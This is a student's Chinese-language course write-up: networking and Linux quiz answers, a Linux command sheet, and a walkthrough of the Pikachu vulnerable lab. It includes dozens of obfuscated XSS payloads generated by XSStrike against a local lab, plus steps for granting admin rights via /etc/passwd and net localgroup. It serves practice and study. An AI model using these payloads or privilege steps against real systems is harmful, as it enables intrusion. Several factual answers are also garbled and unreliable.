#一.理论题
#1.不可靠传输的传输层协议是哪个?
##UDP
Snipaste_2022-12-08_20-33-15.png
Snipaste_2022-12-08_20-34-31.png
#2.在Windows下Ping主机的时候加哪个参数后接数字就是ping的次数
##-n

Snipaste_2022-12-08_20-25-40.png

Snipaste_2022-12-08_21-36-21.png
#3.在Windows下如何查看全部端口
##netstat -ano
Snipaste_2022-12-09_11-22-22.png
#4.在Windows下如何查看全部用户
##net user
Snipaste_2022-12-09_11-22-55.png
#5.在Linux下哪个命令是给文件赋予权限
##chmod
Snipaste_2022-12-08_20-37-47.png
#6.Linux下为什么root是管理员?如果我创建一个新用户admin,那我需要把哪个参数改掉便可以把admin设为本Linux的管理员

vim /etc/passwd,在admin后面的数字,按i,进入编辑,改为0:0,:wq,退出并保存,如果没有vim可以使用vi命令,如果提示没有权限,可以使用sudo运行,并且在退出时使用:wq!,强制保存退出

Snipaste_2022-12-08_20-39-06.png
#7.在Windows下的命令行下如何创建用户,并且把这个新创建的用户归入管理员组?
##第一步,创建 net user admin /add
##第二步,激活账户net user admin /active: yes
##第三步,加入管理员组 net localgroup "Administrators" admin /add
Snipaste_2022-12-09_11-30-45.png
Snipaste_2022-12-09_11-47-59.png
#8.Linux如何修改网卡IP,修改ip需要更改哪些参数,添加哪些参数?
##这里以bebian系统为例
Snipaste_2022-12-10_15-23-21.png

vim /etc/network/interface,修改IP必须将网卡改为静态类型,需要在address后面修改需要的IP,并且需要有netmask 子网掩码,和网关地址gateway

##centos
Snipaste_2022-12-10_15-38-36.png
#9.虚拟机对安全的作用是什么(ABC)?(多选)
##A.真实环境模拟 B.隔离电脑 C.测试环境搭建 D.当第二台电脑使用
#10.如何把centos的防火墙给关掉?

临时关闭为:systemctl stop firewalld ,开机自启动关闭为:systemctl disable firewalld

Snipaste_2022-12-10_15-36-14.png
#11.我们常说的跨站脚本攻击是指哪个攻击?
##XSS,xss又分为dom型、反射型、存储型
7dd98d1001e939013163af34576d7dee37d196e4 (1).jpg
#12.小明没有对同一ip的多次请求登录做限制,那这时候我们应该使用哪种攻击来获取账号密码?

暴力破解

#13.我使用小明的账号进行登录,在登录的时候我使用了一些办法登录到了小李的账号,请问这种行为我们称其为什么?
##CSRF(跨站请求伪造)、水平越权
#14.小明在网站的url上加了个and 1 =2 然后报错了,请问小明现在正在干什么?
##SQL注入
Snipaste_2022-12-10_16-04-47.png
Snipaste_2022-12-10_16-05-02.png
#15.请说出unix和Linux的俩个不同点
##两者存在相似性,并且由于Linux 和 UNIX 有着千丝万缕的联系,所以人们把 Linux 叫做“类UNIX系统”。
#16.数据链路层使用的单位是什么?
##数据帧,英文缩写为DF。
#17.我们常说计算机的物理地址,那物理地址准确来说是叫什么?
##物理地址就是MAC地址,是每块主板出厂自带的地址。
###Windows环境下使用ipconfig -all查看本机MAC
Snipaste_2022-12-10_15-42-55.png
###在powershell中使用arp -a命令查看当前局域网所有接口的MAC地址和对应的ip地址
Snipaste_2022-12-10_15-43-40.png
#18.Windows的命令行要怎么打开,请写出操作步骤
##win键+r,在弹出框输入cmd
#19.TCP/IP有哪四层?
##从上往下,依次为应用层、传输层、网络层、网络接口层
Snipaste_2022-12-10_15-52-59.png
Snipaste_2022-12-10_15-54-47.png
#补充一下Linux常用命令和知识

# Linux 常用命令
# <------这个符号的内容后面是注释, '//', '/* */' 这之类的注释 不作为命令或代码执行
# 下面的命令只做简单解释,不明白的可以自行百度

sudo [command] # 以系统管理员的身份执行指令,授权所执行指令的执行指令。

ls -al # 列出当前目录所有文件的详细信息 包括以 . 开头的隐藏文件

cd [path] # 切换工作目录到 path 下 . 表示当前目录 .. 表示上一级目录 / 表示根目录

pwd # 以绝对路径的方式显示用户当前工作目录

rm -rf [file] # 强制删除文件或目录

mv [file1] [file2] # 用来对文件或目录重新命名,或者将文件从一个目录移到另一个目录中

cp [file1] [file2] # 用来将一个或多个源文件或者目录复制到指定的目的文件或目录

less [file] # 允许用户向前或向后浏览文字档案的内容

cat [file] # 连接文件并打印到标准输出设备上

echo [string] # 打印一行文本,参数“-e”可激活转义字符

nc [ip] [port] # netcat 建立 TCP 和 UDP 连接IP地址的端口并监听

ps # 用于报告当前系统的进程状态

top # 实时查看系统的整体运行情况

kill # 杀死一个进程

ifconfig # 查看或设置网络设备

ping # 查看网络上的主机是否工作

netstat # 显示网络连接、路由表和网络接口信息

su # 切换当前用户身份到其他用户身份

touch [file] # 创建新的空文件

mkdir [dir] # 创建目录

chmod # 变更文件或目录的权限

chown # 变更某个文件或目录的所有者和所属组

uname -a # 找到对应内核版本全部信息

exit # 退出 shell

man [command] # 查看Linux中的指令帮助、配置文件帮助和编程帮助等信息

apropos [whatever] # 在一些特定的包含系统命令的简短描述的数据库文件里查找关键字

| # 管道命令符 将一个命令的标准输出作为另一个命令的标准输入

var=value # 给变量var赋值value

$var, ${var} # 取变量的值

`cmd`, $(cmd) # 代换标准输出

'string' # 非替换字符串

"string" # 可替换字符串

$ var="test";
$ echo $var
test
$ echo 'This is a $var';
This is a $var
$ echo "This is a $var";
This is a test

$ echo `date`;
2022年 112月 08日 星期四 20:40:07 CST
$ $(bash)

$ echo $0
/bin/bash
$ $($0)

# Bash 快捷键
Up(Down) # 上(下)一条指令

Ctrl + c # 终止当前进程

Ctrl + z # 挂起当前进程,使用“fg”可唤醒

Ctrl + d # 删除光标处的字符

Ctrl + l # 清屏

Ctrl + a # 移动到命令行首

Ctrl + e # 移动到命令行尾

Ctrl + b # 按单词后移(向左)

Ctrl + f # 按单词前移(向右)

Ctrl + Shift + c # 复制

Ctrl + Shift + v # 粘贴

##Linux目录

[note type=“info flat”]根目录
/bin、/sbin:链接到 /usr/bin,存放 Linux 一些核心的二进制文件,其包含的命令可在 shell 上运行。

/boot:操作系统启动时要用到的程序。

/dev:包含了所有 Linux 系统中使用的外部设备。需要注意的是这里并不是存放外部设备的驱动程序,而是一个访问这些设备的端口。

/etc:存放系统管理时要用到的各种配置文件和子目录。

/etc/rc.d:存放 Linux 启动和关闭时要用到的脚本。

/home:普通用户的主目录。

/lib、/lib64:链接到 /usr/lib,存放系统及软件需要的动态链接共享库。

/mnt:这个目录让用户可以临时挂载其他的文件系统。

/proc:虚拟的目录,是系统内存的映射。可直接访问这个目录来获取系统信息。

/root:系统管理员的主目录。

/srv:存放一些服务启动之后需要提取的数据。

/sys:该目录下安装了一个文件系统 sysfs。该文件系统是内核设备树的一个直观反映。当一个内核对象被创建时,对应的文件和目录也在内核对象子系统中被创建。

/tmp:公用的临时文件存放目录。

/usr:应用程序和文件几乎都在这个目录下。

/usr/src:内核源代码的存放目录。

/var:存放了很多服务的日志信息[/note]

##Linux权限

[note type=“info flat”]在 Linux 中,文件或目录权限的控制分别以读取、写入、执行 3 种一般权限来区分,另有 3 种特殊权限可供运用。

使用 ls -l [file] 来查看某文件或目录的信息:

第一栏从第二个字母开始就是权限字符串,权限表示三个为一组,依次是所有者权限、组权限、其他人权限。每组的顺序均为 rwx,如果有相应权限,则表示成相应字母,如果不具有相应权限,则用 - 表示。

r:读取权限,数字代号为 “4”

w:写入权限,数字代号为 “2”

x:执行或切换权限,数字代号为 “1”

通过第一栏的第一个字母可知,第一行是一个链接文件 (l),第二行是个目录(d),第三行是个普通文件(-)。

用户可以使用 chmod 指令去变更文件与目录的权限。权限范围被指定为所有者(u)、所属组(g)、其他人(o)和所有人(a)。

-R:递归处理,将指令目录下的所有文件及子目录一并处理;

<权限范围>+<权限设置>:开启权限范围的文件或目录的该选项权限设置

$ chmod a+r [file]:赋予所有用户读取权限

<权限范围>-<权限设置>:关闭权限范围的文件或目录的该选项权限设置

$ chmod u-w [file]:取消所有者写入权限

<权限范围>=<权限设置>:指定权限范围的文件或目录的该选项权限设置;

$ chmod g=x [file]:指定组权限为可执行

$ chmod o=rwx [file]:制定其他人权限为可读、可写和可执行[/note]
Snipaste_2022-12-08_20-30-38.png

#二.实验题(交截图)
##1. 请用软件PHP study搭建我们的pikachu靶场并成功访问,并且使用
xxx.png
zxx.png
###第一步,打开PHP study,打开站点目录,部署靶场源码,设置域名,启动服务。
Snipaste_2022-12-08_19-38-58.png
###第二步,打开C:\Windows\System32\drivers\etc\hosts文件,在最后面追加一行,先是IP地址,后是域名,这里就有些类似于网站域名解析,DNS,只不过环境从公网变为本地而已。
Snipaste_2022-12-08_19-41-31.png
###第三步,打开www目录下靶场目录inc文件夹下的config.inc.php文件,编辑数据库修改信息。
Snipaste_2022-12-08_19-43-59.png
###第四步,在PHP study中打开MySQL管理器front,在用户一栏中添加一个为root的用户,主机为%,设置密码。
Snipaste_2022-12-08_19-45-13.png
###第五步,在浏览器访问设置好的域名,在系统介绍页上方点击初始化系统,如果没有提示则直接访问域名/install,之后点击初始化即可。
xxa.png

##2.通关pikachu靶场里面的csrf(get),水平越权,反射性xss(get),请上交步骤截屏
###2.1、csrf(get)
get.png
get2.png
###通过burp工具抓包,将lucy账号的信息填写到lili账号的信息中,完成csrf(get)

###2.2、水平越权
spyq.png
###通过修改URL中的账号名可以实现水平越权

###反射性xss(get)
###简单手工型
###1、首先输入" ’ <>xss"用于测试我们的输入会不会被过滤掉,因为输入的内容中存在特殊字符。
Snipaste_2022-12-08_20-06-58.png

###2、输入js脚本 <script>alert('1010')</script>,看是否被过滤,发现对输入的内容有长度限制,在页面找到开发者工具,修改即可。修改后提交,恶意代码执行,成功弹窗。
Snipaste_2022-12-08_20-10-17.png
Snipaste_2022-12-08_20-05-32.png

###工具型
###1、首先克隆代码
###git clone https://github.com/s0md3v/XSStrike.git

###2、安装模块
###pip3 install -r requirements.txt
###选项

选项 作用
-h, --help: :显示帮助信息并退出
-u, --url 目标url
–data post方法的数据
-f, --file 从文件读取payloads
-t, --threads 线程数量
-l, --level 爬取级别
-t, --encode payload采取的编码
–json json格式的数据
–path 指定路径注入
–seeds 从文件加载url
–fuzzer fuzz工具
–update 更新
–timeout 超时时间
–params 寻找参数
–crawl 爬取
–proxy 使用代理
–blind 爬取时盲注
–skip 跳过确认等
–skip-dom 跳过dom检查
–headers 添加headers
-d, --delay 两次请求之间的延迟
Traceback (most recent call la@Lonely-Gzk ➜ XSStrike git(master)  python xsstrike.py -u "http://127.0.0.1/pikachu.com/vul/xss/xss_reflected_get.php?message=&submit=submit" --skip --skip-dom

        XSStrike v3.1.5

[+] WAF Status: Offline
[!] Testing parameter: message
[!] Reflections found: 1
[~] Analysing reflections
[~] Generating payloads
[!] Payloads generated: 3072
------------------------------------------------------------
[+] Payload: <a%09oNmouseoveR%0d=%0d(prompt)``>v3dm0s
[!] Efficiency: 96
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <d3v%0donmoUseOveR%0a=%0aconfirm()%0dx>v3dm0s
[!] Efficiency: 94
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <A%0donMOusEover+=+[8].find(confirm)>v3dm0s
[!] Efficiency: 92
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <d3V%0aOnmOuseoveR+=+(prompt)``>v3dm0s
[!] Efficiency: 91
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <d3V%09onmoUSeOver%0a=%0a(confirm)()>v3dm0s
[!] Efficiency: 92
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <d3v/+/onmouseOvEr+=+[8].find(confirm)%0dx>v3dm0s
[!] Efficiency: 97
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <htML%0aonmouSeover%09=%09[8].find(confirm)>
[!] Efficiency: 94
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <d3v%0aonmOuseOVeR+=+[8].find(confirm)>v3dm0s
[!] Efficiency: 93
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <DetaIls%0aonTOggLe+=+[8].find(confirm)%0dx//
[!] Efficiency: 91
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <dETails%0donTogglE+=+(prompt)``%0dx>
[!] Efficiency: 91
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <a%0aonMoUseover%0a=%0a(prompt)``%0dx>v3dm0s
[!] Efficiency: 96
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <a/+/OnmoUsEover%0a=%0a[8].find(confirm)%0dx>v3dm0s
[!] Efficiency: 95
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <d3v/+/OnmouseoVER%0d=%0dconfirm()%0dx>v3dm0s
[!] Efficiency: 93
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <a%09oNMoUSeover%0a=%0a(confirm)()>v3dm0s
[!] Efficiency: 92
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <dEtails%0doNtoggLE+=+confirm()%0dx//
[!] Efficiency: 91
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <htmL%0aonmouSeovER%09=%09confirm()%0dx//
[!] Efficiency: 92
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <d3v%0aonmOUseOVEr%0a=%0a(prompt)``%0dx>v3dm0s
[!] Efficiency: 91
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <a%0aonPointeRENteR%0d=%0d[8].find(confirm)>v3dm0s
[!] Efficiency: 92
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <d3v/+/onpoInterEnTER%09=%09(confirm)()>v3dm0s
[!] Efficiency: 91
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <a/+/oNMouseOveR+=+confirm()>v3dm0s
[!] Efficiency: 91
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <a%0dOnMOuseoVeR%0d=%0d[8].find(confirm)%0dx>v3dm0s
[!] Efficiency: 92
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <a%0donPointeREnteR+=+a=prompt,a()%0dx>v3dm0s
[!] Efficiency: 93
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <a%09OnpoInteREnter+=+confirm()%0dx>v3dm0s
[!] Efficiency: 92
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <detAIls%0dOnToggle+=+a=prompt,a()>
[!] Efficiency: 91
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <a%0aonmouseOvER%09=%09confirm()>v3dm0s
[!] Efficiency: 94
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <A%09onMouSEover%0a=%0aconfirm()%0dx>v3dm0s
[!] Efficiency: 92
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <a/+/ONmouseoVeR%09=%09(confirm)()>v3dm0s
[!] Efficiency: 92
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <d3V/+/onpoIntErENtEr%0d=%0d[8].find(confirm)%0dx>v3dm0s
[!] Efficiency: 91
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <d3v%09OnmoUSEoveR%0a=%0a(prompt)``%0dx>v3dm0s
[!] Efficiency: 91
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <d3V/+/onmOUseover+=+confirm()>v3dm0s
[!] Efficiency: 93
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <a%09oNmoUSeoveR%09=%09a=prompt,a()%0dx>v3dm0s
[!] Efficiency: 93
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <d3V/+/OnmOUseoVer%0d=%0dconfirm()%0dx>v3dm0s
[!] Efficiency: 91
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <dEtails/+/ontOgGLe%0a=%0aconfirm()>
[!] Efficiency: 91
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <A%0dONMoUseover+=+[8].find(confirm)%0dx>v3dm0s
[!] Efficiency: 91
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <detaiLs%0aoNtogGLe+=+confirm()%0dx//
[!] Efficiency: 91
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <a%0aONmouSeover%0d=%0d(prompt)``>v3dm0s
[!] Efficiency: 94
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <detAiLs%0aontoGglE%09=%09confirm()%0dx>
[!] Efficiency: 92
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <dEtaIls%09oNpOinterenter%0a=%0aa=prompt,a()%0dx//
[!] Efficiency: 93
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <dEtaILs/+/onTogGle%09=%09[8].find(confirm)%0dx>
[!] Efficiency: 91
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <d3v%0doNmOuseOVeR%0a=%0aa=prompt,a()>v3dm0s
[!] Efficiency: 91
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <a%09oNmOusEovEr+=+confirm()>v3dm0s
[!] Efficiency: 91
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <a%0aonmOUSeoVer%0d=%0dconfirm()%0dx>v3dm0s
[!] Efficiency: 92
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <A%0donMouseOveR%0a=%0a(prompt)``>v3dm0s
[!] Efficiency: 92
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <a/+/onPoiNterentEr+=+a=prompt,a()%0dx>v3dm0s
[!] Efficiency: 94
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <html%0donmOusEoVEr%09=%09[8].find(confirm)%0dx//
[!] Efficiency: 93
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <dEtails%0aonToGGle%0d=%0dconfirm()//
[!] Efficiency: 91
[!] Confidence: 10
Traceback (most recent call la